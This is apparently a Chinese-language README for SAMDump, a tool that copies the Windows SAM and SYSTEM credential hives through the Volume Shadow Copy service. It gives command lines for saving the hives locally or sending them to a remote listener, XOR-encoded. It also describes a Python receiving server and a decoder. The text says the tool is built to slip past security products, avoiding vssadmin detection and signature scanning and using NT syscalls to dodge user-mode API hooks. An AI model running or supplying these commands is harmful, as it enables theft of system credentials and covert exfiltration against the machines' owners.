使用卷影复制服务(VSS)提取 Windows SAM 和 SYSTEM 文件,支持多种渗出选项和 XOR 混淆:
它使用 C++、C#、Crystal 和 Python 实现,适用于现代 Windows 版本。
它需要提升权限,如果创建了卷影副本,该副本会在约 5 分钟后自动删除。
SAMDump.exe [OPTIONS]
Options:
--save-local [BOOL] Save locally (default: false)
--output-dir DIR Output directory (default: C:\Windows\tasks)
--send-remote [BOOL] Send remotely (default: false)
--host IP Host for remote sending (default: 127.0.0.1)
--port PORT Port for remote sending (default: 7777)
--xor-encode [BOOL] XOR Encode (default: false)
--xor-key KEY Enable XOR with specified key (default: SAMDump2025)
--disk DISK Disk for shadow copy (default: C:\)
--help Show this help
无编码本地保存:
SAMDump.exe --save-local --output-dir "C:\temp"

使用 XOR 编码本地保存:
SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025"

使用 XOR 编码和默认密钥发送到远程服务器:
SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode

server.py 是一个 Python 服务端,通过网络接收文件,自动进行 XOR 解码并格式化文件名:
python server.py [OPTIONS]
Options:
--host HOST IP address to listen on (default: 0.0.0.0)
--port PORT Port to listen on (default: 7777)
--xor-key KEY Key for XOR decoding (optional)
在指定接口和端口上监听并带 XOR 密钥:
python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025"

文件名包含 IP 地址和日期,因此您可以从不同系统发送文件,实现自动化处理。
xor-decoder.py 是一个 Python 脚本,用于本地解码 XOR 编码的 SAM 和 SYSTEM 文件:
python xor-decoder.py [OPTIONS]
Options:
--sam SAM Path to encoded SAM file (required)
--system SYSTEM Path to encoded SYSTEM file (required)
--xor-key KEY XOR key for decoding (default: SAMDump2025)
--output-dir DIR Output directory for decoded files (default: ./decoded)
使用默认密钥解码:
python xor-decoder.py --sam sam.txt --system system.txt

使用自定义密钥和输出目录解码:
python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results

该项目包含用三种语言实现的版本:
comtypes 库(pip install comtypes)我希望自动化这个过程,而且我遇到的大多数 Windows 系统都运行 VSS,但安全解决方案会检测使用 vssadmin 创建卷影副本和提取这些文件的行为,因为这是众所周知的技术。
该工具在使用远程传输模式时无需写入目标文件系统即可提取文件;XOR 编码提供基本的混淆功能,以规避基于签名的检测(即使在使用远程模式时也是如此)。
此外,它利用 NT API 调用来绕过某些监控和用户态 API 钩子。
该工具使用 NT 系统调用而非标准 Windows API 函数,这可能会绕过一些通常被监控的用户态 API 钩子:
NtCreateFile 和 NtReadFile:用于打开句柄并读取卷影副本中 SAM 和 SYSTEM 文件的字节NtWriteFile:用于将文件本地保存感谢 @vx-underground 识别并建议对导出地址表(EAT)遍历代码进行优化,用直接指针访问替代不必要的 NtReadVirtualMemory 调用。